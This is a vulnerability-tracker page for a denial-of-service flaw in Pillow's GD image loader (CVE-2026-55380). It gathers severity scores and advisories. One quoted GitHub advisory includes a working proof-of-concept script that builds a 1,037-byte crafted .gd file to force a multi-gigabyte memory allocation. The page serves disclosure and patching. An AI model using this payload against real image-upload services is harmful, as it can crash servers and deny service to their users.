CVE-2026-55380

highpriority · track · 0EPSS 0.005 · 44 %ileDEEUFRRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.52% (44th) EPSS
CVSS 7.5 · high
Is it mine?
52 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · FSTEC (BDU) RU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (52)

Products and version ranges known to be affected.

05

advisories (5)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2301Red Hat Enterprise Linux (python-pillow): Mehrere Schwachstellen ermöglichen Denial of ServiceDeutsch2026-07-13csaf · cert_bundDE

    Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux bzgl. python-pillow ausnutzen, um einen Denial of Service Angriff durchzuführen.

  • GHSA-phj9-mv4w-65pmPillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`2026-07-20ghsa · osvUS

    ## Description `PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection. **Vulnerable code (`PIL/GdImageFile.py` lines 50–61):** ```python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ``` When `load()` is subsequently called on the returned image object: ```python load() → load_prepare() → Image.core.new("P", (65535, 65535)) # ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ``` **Dimension arithmetic:** | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** | | `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | **Overshoot ratio** | **24× above DecompressionBombError threshold** | | Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) | | Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) | **Comparison with safe sibling plugin (`WalImageFile`):** `WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix: ```python # PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ``` `GdImageFile` was never updated to match, leaving a gap in protection. ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image # Build minimal 1037-byte GD 2.x palette-mode header: # sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 # Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") # Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") # Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ``` **Expected output:** ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ``` **Verified live on Pillow 12.2.0.** **Two attack paths:** | Path | File size | Effect | |---|---|---| | Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike | | Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. **Real-world scenario:** ```python from PIL import GdImageFile # Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ``` ## Impact - **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - **Confidentiality:** None - **Integrity:** None - **Authentication required:** No — any public endpoint accepting image uploads is affected - **User interaction:** None Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.

  • BIT-pillow-2026-55380Pillow GdImageFile decompression bomb protection bypass2026-07-08vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

  • CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
  • PYSEC-2026-22562026-07-06vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

06

also known as (9)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (9)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan